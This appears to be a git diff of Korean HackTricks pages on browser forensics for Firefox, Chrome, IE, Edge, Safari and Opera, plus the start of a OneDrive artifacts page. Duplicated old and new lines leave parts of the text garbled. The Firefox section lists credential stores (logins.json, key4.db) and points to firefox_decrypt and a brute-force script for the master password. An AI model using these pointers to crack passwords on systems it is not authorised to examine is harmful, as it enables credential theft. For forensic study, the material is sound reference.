* **로그인**: 저장된 로그인 자격 증명. * **로그인 정보**: 저장된 로그인 자격 증명입니다.
* **파비콘**: 탭 및 북마크에 나타나는 웹 사이트와 관련된 아이콘으로, 사용자 방문에 대한 추가 정보로 유용합니다. * **파비콘**: 웹사이트와 관련된 아이콘으로, 탭 및 북마크에 나타나며, 사용자 방문에 대한 추가 정보를 제공합니다.
* **브라우저 세션**: 열린 브라우저 세션과 관련된 데이터. * **브라우저 세션**: 열린 브라우저 세션과 관련된 데이터입니다.
* **다운로드**: 브라우저를 통해 다운로드한 파일의 기록. * **다운로드**: 브라우저를 통해 다운로드한 파일의 기록입니다.
* **양식 데이터**: 웹 양식에 입력된 정보로, 미래 자동 입력 제안을 위해 저장됩니다. * **양식 데이터**: 웹 양식에 입력된 정보로, 향후 자동 완성 제안을 위해 저장됩니다.
* **썸네일**: 웹 사이트의 미리 보기 이미지. * **썸네일**: 웹사이트의 미리보기 이미지입니다.
* **사용자 지정 사전.txt**: 사용자가 브라우저 사전에 추가한 단어. * **Custom Dictionary.txt**: 사용자가 브라우저 사전에 추가한 단어입니다.
## 파이어폭스 ## Firefox
파이어폭스는 프로필 내에서 사용자 데이터를 조직화하며, 운영 체제에 따라 특정 위치에 저장됩니다: Firefox는 사용자 데이터를 프로필 내에서 구성하며, 운영 체제에 따라 특정 위치에 저장됩니다:
* **리눅스**: `~/.mozilla/firefox/` * **Linux**: `~/.mozilla/firefox/`
* **OS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` * **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **윈도우**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` * **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
러한 디렉토리 내에 있는 `profiles.ini` 파일은 사용자 프로필을 나열합니다. 각 프로필의 데이터는 `profiles.ini`와 동일한 디렉토리에 위치한 `profiles.ini` 내의 `Path` 변수로 명명된 폴더에 저장됩니다. 프로필 폴더가 누락된 경우 삭제된 것일 수 있습니다. 디렉토리 내의 `profiles.ini` 파일은 사용자 프로필을 나열합니다. 각 프로필의 데이터는 `profiles.ini` 내의 `Path` 변수에 명시된 이름의 폴더에 저장되며, `profiles.ini`와 동일한 디렉토리에 위치합니다. 프로필 폴더가 누락된 경우 삭제되었을 수 있습니다.
각 프로필 폴더 내에서 여러 중요한 파일을 찾을 수 있습니다: 각 프로필 폴더 내에서 여러 중요한 파일을 찾을 수 있습니다:
* **places.sqlite**: 히스토리, 북마크 및 다운로드를 저장합니다. Windows의 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)와 같은 도구는 히스토리 데이터에 액세스할 수 있습니다. * **places.sqlite**: 기록, 북마크 및 다운로드를 저장합니다. Windows에서 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)와 같은 도구를 사용하여 기록 데이터를 접근할 수 있습니다.
* 특정 SQL 쿼리를 사용하여 히스토리 및 다운로드 정보를 추출합니다. * 특정 SQL 쿼리를 사용하여 기록 및 다운로드 정보를 추출합니다.
* **bookmarkbackups**: 북마크의 백업을 포함합니다. * **bookmarkbackups**: 북마크의 백업을 포함합니다.
* **formhistory.sqlite**: 웹 양식 데이터를 저장합니다. * **formhistory.sqlite**: 웹 양식 데이터를 저장합니다.
* **handlers.json**: 프로토콜 핸들러를 관리합니다. * **handlers.json**: 프로토콜 핸들러를 관리합니다.
* **persdict.dat**: 사용자 정 사전 단어. * **persdict.dat**: 사용자 정 사전 단어입니다.
* **addons.json****extensions.sqlite**: 설치된 애드온 및 확장 프로그램 정보. * **addons.json****extensions.sqlite**: 설치된 애드온 및 확장 프로그램에 대한 정보입니다.
* **cookies.sqlite**: 쿠키 저장소로, Windows에서 [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)를 통해 검사할 수 있습니다. * **cookies.sqlite**: 쿠키 저장소로, Windows에서 [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)를 사용하여 검사할 수 있습니다.
* **cache2/entries** 또는 **startupCache**: 캐시 데이터로, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html)와 같은 도구를 통해 액세스할 수 있습니다. * **cache2/entries** 또는 **startupCache**: 캐시 데이터로, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html)와 같은 도구를 통해 접근할 수 있습니다.
* **favicons.sqlite**: 파비콘을 저장합니다. * **favicons.sqlite**: 파비콘을 저장합니다.
* **prefs.js**: 사용자 설정 및 환경 설정. * **prefs.js**: 사용자 설정 및 기본 설정입니다.
* **downloads.sqlite**: 이전 다운로드 데이터베이스로, 현재는 places.sqlite에 통합됩니다. * **downloads.sqlite**: 이전 다운로드 데이터베이스로, 현재 places.sqlite에 통합되었습니다.
* **thumbnails**: 웹 사이트 썸네일. * **thumbnails**: 웹사이트 썸네일입니다.
* **logins.json**: 암호화된 로그인 정보. * **logins.json**: 암호화된 로그인 정보입니다.
* **key4.db** 또는 **key3.db**: 민감한 정보 보호를 위한 암호화 키를 저장합니다. * **key4.db** 또는 **key3.db**: 민감한 정보를 보호하기 위한 암호화 키를 저장합니다.
또한, 브라우저의 안티 피싱 설정을 확인하려면 `prefs.js`에서 `browser.safebrowsing` 항목을 검색하여 안전한 브라우징 기능이 활성화되었는지 비활성화되었는지 확인할 수 있습니다. 또한, 브라우저의 피싱 방지 설정을 확인하려면 `prefs.js`에서 `browser.safebrowsing` 항목을 검색하여 안전한 탐색 기능이 활성화되었는지 비활성화되었는지 확인할 수 있습니다.
마스터 암호를 복호화하려면 [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)를 사용할 수 있습니다. 다음 스크립트와 호출을 사용하여 브루트 포스할 암호 파일을 지정할 수 있습니다: 마스터 비밀번호를 복호화하려고 시도하려면 [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)를 사용할 수 있습니다.\
다음 스크립트와 호출을 사용하여 비밀번호 파일을 지정하여 무차별 대입 공격을 수행할 수 있습니다:
{% code title="brute.sh" %} {% code title="brute.sh" %}
```bash ```bash
@ -90,115 +92,117 @@ done < $passfile
## Google Chrome ## Google Chrome
Google Chrome은 운영 체제에 따라 특정 위치에 사용자 프로필을 저장합니다: Google Chrome은 운영 체제에 따라 사용자 프로필을 특정 위치에 저장합니다:
* **Linux**: `~/.config/google-chrome/` * **Linux**: `~/.config/google-chrome/`
* **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` * **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
* **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` * **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
러한 디렉토리 내에서 대부분의 사용자 데이터는 **Default/** 또는 **ChromeDefaultData/** 폴더에서 찾을 수 있습니다. 다음 파일에 중요한 데이터가 포함되어 있습니다: 이 디렉토리 내에서 대부분의 사용자 데이터는 **Default/** 또는 **ChromeDefaultData/** 폴더에 있습니다. 다음 파일은 중요한 데이터를 포함합니다:
* **History**: URL, 다운로드 및 검색 키워드를 포함합니다. Windows에서는 [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html)를 사용하여 히스토리를 읽을 수 있습니다. "Transition Type" 열에는 사용자가 링크를 클릭하거나 URL을 입력하거나 양식을 제출하거나 페이지를 새로 고침하는 등 다양한 의미가 포함됩니다. * **History**: URL, 다운로드 및 검색 키워드를 포함합니다. Windows에서는 [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html)를 사용하여 기록을 읽을 수 있습니다. "Transition Type" 열은 링크 클릭, 입력된 URL, 양식 제출 및 페이지 새로 고침을 포함한 다양한 의미를 가집니다.
* **Cookies**: 쿠키를 저장합니다. 검사를 위해 [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html)를 사용할 수 있습니다. * **Cookies**: 쿠키를 저장합니다. 검사를 위해 [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html)를 사용할 수 있습니다.
* **Cache**: 캐시된 데이터를 보유합니다. 검사를 위해 Windows 사용자는 [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html)를 용할 수 있습니다. * **Cache**: 캐시된 데이터를 보유합니다. 검사를 위해 Windows 사용자는 [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html)를 용할 수 있습니다.
* **Bookmarks**: 사용자 북마크입니다. * **Bookmarks**: 사용자 북마크입니다.
* **Web Data**: 양식 히스토리를 포함합니다. * **Web Data**: 양식 기록을 포함합니다.
* **Favicons**: 웹 사이트의 아이콘을 저장합니다. * **Favicons**: 웹사이트 파비콘을 저장합니다.
* **Login Data**: 사용자 이름 및 비밀번호와 같은 로그인 자격 증명을 포함합니다. * **Login Data**: 사용자 이름 및 비밀번호와 같은 로그인 자격 증명을 포함합니다.
* **Current Session**/**Current Tabs**: 현재 브라우징 세션 및 열린 탭에 대한 데이터입니다. * **Current Session**/**Current Tabs**: 현재 브라우징 세션 및 열린 탭에 대한 데이터입니다.
* **Last Session**/**Last Tabs**: Chrome이 닫히기 전에 활성화된 사이트에 대한 정보입니다. * **Last Session**/**Last Tabs**: Chrome이 닫히기 전 마지막 세션 동안 활성 상태였던 사이트에 대한 정보입니다.
* **Extensions**: 브라우저 확장 프로그램 및 애드온을 위한 디렉토리입니다. * **Extensions**: 브라우저 확장 및 애드온을 위한 디렉토리입니다.
* **Thumbnails**: 웹사이트 썸네일을 저장합니다. * **Thumbnails**: 웹사이트 썸네일을 저장합니다.
* **Preferences**: 플러그인, 확장 프로그램, 팝업, 알림 등의 설정을 포함한 정보가 풍부한 파일입니다. * **Preferences**: 플러그인, 확장, 팝업, 알림 등에 대한 설정을 포함한 정보가 풍부한 파일입니다.
* **브라우저 내장 안티 피싱**: 안티 피싱 및 악성 코드 보호가 활성화되어 있는지 확인하려면 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`를 실행합니다. 출력에서 `{"enabled: true,"}`를 찾습니다. * **Browsers built-in anti-phishing**: 안티 피싱 및 맬웨어 보호가 활성화되어 있는지 확인하려면 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`를 실행합니다. 출력에서 `{"enabled: true,"}`를 찾습니다.
## **SQLite DB 데이터 복구** ## **SQLite DB Data Recovery**
이전 섹션에서 볼 수 있듯이 Chrome과 Firefox는 데이터를 저장하기 위해 **SQLite** 데이터베이스를 사용합니다. 삭제된 항목을 복구할 수 있는 도구인 [**sqlparse**](https://github.com/padfoot999/sqlparse) 또는 [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)를 사용할 수 있습니다. 앞서 언급한 바와 같이 Chrome과 Firefox는 **SQLite** 데이터베이스를 사용하여 데이터를 저장합니다. **삭제된 항목을 복구하는 도구** [**sqlparse**](https://github.com/padfoot999/sqlparse) **또는** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)를 사용할 수 있습니다.
## **Internet Explorer 11** ## **Internet Explorer 11**
Internet Explorer 11은 다양한 위치에 데이터 및 메타데이터를 관리하여 저장된 정보와 해당 세부 정보를 쉽게 액세스하고 관리할 수 있도록 지원합니다. Internet Explorer 11은 다양한 위치에 데이터 및 메타데이터를 관리하여 저장된 정보와 해당 세부 정보를 쉽게 접근하고 관리할 수 있도록 돕습니다.
### 메타데이터 저장 ### Metadata Storage
Internet Explorer의 메타데이터는 `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX가 V01, V16 또는 V24인 경우)에 저장됩니다. 이와 관련하여 `V01.log` 파일은 `WebcacheVX.data`와 수정 시간의 불일치를 보여줄 수 있으며, `esentutl /r V01 /d`를 사용하여 복구해야 할 수 있습니다. 이 ESE 데이터베이스에 저장된 메타데이터는 photorec 및 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)와 같은 도구를 사용하여 복구하고 검사할 수 있습니다. **Containers** 테이블 내에서 각 데이터 세그먼트가 저장된 특정 테이블 또는 컨테이너를 식별할 수 있으며, 이는 Skype와 같은 다른 Microsoft 도구의 캐시 세부 정보를 포함합니다. Internet Explorer의 메타데이터는 `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`에 저장됩니다 (VX는 V01, V16 또는 V24입니다). 이와 함께 `V01.log` 파일은 `WebcacheVX.data`와의 수정 시간 불일치를 보여줄 수 있으며, 이는 `esentutl /r V01 /d`를 사용하여 수리할 필요가 있음을 나타냅니다. 이 메타데이터는 ESE 데이터베이스에 저장되며, photorec 및 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)와 같은 도구를 사용하여 복구하고 검사할 수 있습니다. **Containers** 테이블 내에서 각 데이터 세그먼트가 저장된 특정 테이블 또는 컨테이너를 식별할 수 있으며, Skype와 같은 다른 Microsoft 도구의 캐시 세부 정보도 포함됩니다.
### 캐시 검사 ### Cache Inspection
[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) 도구를 사용하여 캐시를 검사할 수 있으며, 캐시 데이터 추출 폴더 위치가 필요합니다. 캐시의 메타데이터에는 파일 이름, 디렉토리, 액세스 횟수, URL 원본 및 캐시 생성, 액세스, 수정 및 만료 시간을 나타내는 타임스탬프가 포함됩니다. [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) 도구를 사용하여 캐시를 검사할 수 있으며, 캐시 데이터 추출 폴더 위치가 필요합니다. 캐시의 메타데이터에는 파일 이름, 디렉토리, 접근 횟수, URL 출처 및 캐시 생성, 접근, 수정 및 만료 시간을 나타내는 타임스탬프가 포함됩니다.
### 쿠키 관리 ### Cookies Management
쿠키는 [IECookiesView](https://www.nirsoft.net/utils/iecookies.html)를 사용하여 탐색할 수 있으며, 메타데이터에는 이름, URL, 액세스 횟수 및 다양한 시간 관련 세부 정보가 포함됩니다. 영구 쿠키는 `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`에 저장되며, 세션 쿠키는 메모리에 저장됩니다. 쿠키는 [IECookiesView](https://www.nirsoft.net/utils/iecookies.html)를 사용하여 탐색할 수 있으며, 메타데이터에는 이름, URL, 접근 횟수 및 다양한 시간 관련 세부 정보가 포함됩니다. 지속적인 쿠키는 `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`에 저장되며, 세션 쿠키는 메모리에 존재합니다.
### 다운로드 세부 정보 ### Download Details
다운로드 메타데이터는 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)를 통해 액세스할 수 있으며, 특정 컨테이너에는 URL, 파일 유형 및 다운로드 위치와 같은 데이터가 저장됩니다. 물리적 파일은 `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`에서 찾을 수 있습니다. 다운로드 메타데이터는 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)를 통해 접근할 수 있으며, 특정 컨테이너는 URL, 파일 유형 및 다운로드 위치와 같은 데이터를 보유합니다. 물리적 파일은 `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` 아래에서 찾을 수 있습니다.
### 브라우징 히스토리 ### Browsing History
브라우징 히스토리를 검토하려면 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)를 사용하고, 추출된 히스토리 파일의 위치와 Internet Explorer 구성을 필요로 합니다. 여기서 메타데이터에는 수정 및 액세스 시간과 액세스 횟수가 포함됩니다. 히스토리 파일은 `%userprofile%\Appdata\Local\Microsoft\Windows\History`에 있습니다. 브라우징 기록을 검토하려면 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)를 사용할 수 있으며, 추출된 기록 파일의 위치와 Internet Explorer에 대한 구성이 필요합니다. 여기의 메타데이터에는 수정 및 접근 시간과 접근 횟수가 포함됩니다. 기록 파일은 `%userprofile%\Appdata\Local\Microsoft\Windows\History`에 위치합니다.
### 입력된 URL ### Typed URLs
입력된 URL 및 사용 시간은 레지스트리 내 `NTUSER.DAT``Software\Microsoft\InternetExplorer\TypedURLs``Software\Microsoft\InternetExplorer\TypedURLsTime`에 저장되며, 사용자가 입력한 마지막 50개의 URL과 마지막 입력 시간을 추적합니다. 입력된 URL 및 사용 시간은 `NTUSER.DAT``Software\Microsoft\InternetExplorer\TypedURLs``Software\Microsoft\InternetExplorer\TypedURLsTime` 레지스트리에 저장되어 있으며, 사용자가 입력한 마지막 50개의 URL과 마지막 입력 시간을 추적합니다.
## Microsoft Edge ## Microsoft Edge
Microsoft Edge는 사용자 데이터를 `%userprofile%\Appdata\Local\Packages`에 저장합니다. 다양한 데이터 유형 경로는 다음과 같습니다: Microsoft Edge는 사용자 데이터를 `%userprofile%\Appdata\Local\Packages`에 저장합니다. 다양한 데이터 유형에 대한 경로는 다음과 같습니다:
* **프로필 경로**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` * **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
* **히스토리, 쿠키 및 다운로드**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` * **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
* **설정, 북마크 및 읽기 목록**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` * **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
* **캐시**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` * **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
* **최근 활성 세션**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` * **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari ## Safari
Safari 데이터는 `/Users/$User/Library/Safari`에 저장됩니다. 주요 파일은 다음과 같습니다: Safari 데이터는 `/Users/$User/Library/Safari`에 저장됩니다. 주요 파일은 다음과 같습니다:
* **History.db**: URL 및 방문 타임스탬프를 포함하는 `history_visits``history_items` 테이블이 포함되어 있습니다. 쿼리를 수행하려면 `sqlite3`를 사용합니다. * **History.db**: `history_visits``history_items` 테이블에 URL 및 방문 타임스탬프가 포함되어 있습니다. 쿼리를 위해 `sqlite3`를 사용합니다.
* **Downloads.plist**: 다운로드된 파일에 대한 정보입니다. * **Downloads.plist**: 다운로드된 파일에 대한 정보입니다.
* **Bookmarks.plist**: 북마크된 URL을 저장합니다. * **Bookmarks.plist**: 북마크된 URL을 저장합니다.
* **TopSites.plist**: 가장 자주 방문하는 사이트입니다. * **TopSites.plist**: 가장 자주 방문 사이트입니다.
* **Extensions.plist**: Safari 브라우저 확장 프로그램 목록입니다. 검색하려면 `plutil` 또는 `pluginkit`을 사용합니다. * **Extensions.plist**: Safari 브라우저 확장 목록입니다. `plutil` 또는 `pluginkit`을 사용하여 검색합니다.
* **UserNotificationPermissions.plist**: 푸시 알림을 허용하는 도메인입니다. 구문 분석하려면 `plutil`을 사용합니다. * **UserNotificationPermissions.plist**: 푸시 알림을 허용하는 도메인입니다. `plutil`을 사용하여 구문 분석합니다.
* **LastSession.plist**: 마지막 세션의 탭입니다. 구문 분석하려면 `plutil`을 사용합니다. * **LastSession.plist**: 마지막 세션의 탭입니다. `plutil`을 사용하여 구문 분석합니다.
* **브라우저 내장 안티 피싱**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`를 사용하여 확인합니다. 1이 응답되면 해당 기능이 활성화되어 있음을 나타냅니다. * **Browsers built-in anti-phishing**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`를 사용하여 확인합니다. 1의 응답은 기능이 활성화되어 있음을 나타냅니다.
## Opera ## Opera
Opera 데이터는 `/Users/$USER/Library/Application Support/com.operasoftware.Opera`저장되며, 히스토리 및 다운로드에 대한 Chrome의 형식을 공유합니다. Opera 데이터는 `/Users/$USER/Library/Application Support/com.operasoftware.Opera`위치하며, 기록 및 다운로드에 대한 Chrome의 형식을 공유합니다.
* **브라우저 내장 안티 피싱**: `fraud_protection_enabled``true`로 설정되어 있는지 확인하려면 `grep`를 사용합니다. * **Browsers built-in anti-phishing**: `Preferences` 파일에서 `fraud_protection_enabled``true`로 설정되어 있는지 확인하여 검증합니다.
러한 경로 및 명령은 다른 웹 브라우저에 의해 저장된 브라우징 데이터에 액세스하고 이해하는 데 중요합니다. 경로와 명령은 다양한 웹 브라우저에 저장된 브라우징 데이터에 접근하고 이해하는 데 중요합니다.
## 참고 자료 ## References
* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) * [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) * [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file) * [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
* **: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** * **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
오늘 바로 액세스하세요: Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 제로에서 영웅까지 AWS 해킹을 배우세요</strong></summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **HackTricks**에서 귀하의 **회사 광고를 보고 싶거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요**.
</details> </details>
{% endhint %}

View file

@ -1,55 +1,55 @@
# 로컬 클라우드 저장소 # 로컬 클라우드 스토리지
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks 다운로드**를 원한다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우를 쉽게 구축하고 자동화**하세요.\
오늘 바로 액세스하세요: 오늘 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## OneDrive ## 원드라이브
Windows에서 OneDrive 폴더는 `\Users\<username>\AppData\Local\Microsoft\OneDrive`에 있습니다. 그리고 `logs\Personal` 폴더 안에 있는 `SyncDiagnostics.log` 파일에서 동기화된 파일에 관한 흥미로운 데이터를 찾을 수 있습니다: Windows에서 원드라이브 폴더는 `\Users\<username>\AppData\Local\Microsoft\OneDrive`에 있습니다. 그리고 `logs\Personal` 안에는 동기화된 파일에 대한 흥미로운 데이터가 포함된 `SyncDiagnostics.log` 파일을 찾을 수 있습니다:
* 바이트 단위 크기 * 바이트 단위 크기
* 생성 날짜 * 생성 날짜
* 수정 날짜 * 수정 날짜
* 클라우드의 파일 수 * 클라우드의 파일 수
* 폴더의 파일 수 * 폴더의 파일 수
* **CID**: OneDrive 사용자의 고유 ID * **CID**: 원드라이브 사용자 고유 ID
* 보고서 생성 시간 * 보고서 생성 시간
* OS의 HD 크기 * OS의 HD 크기
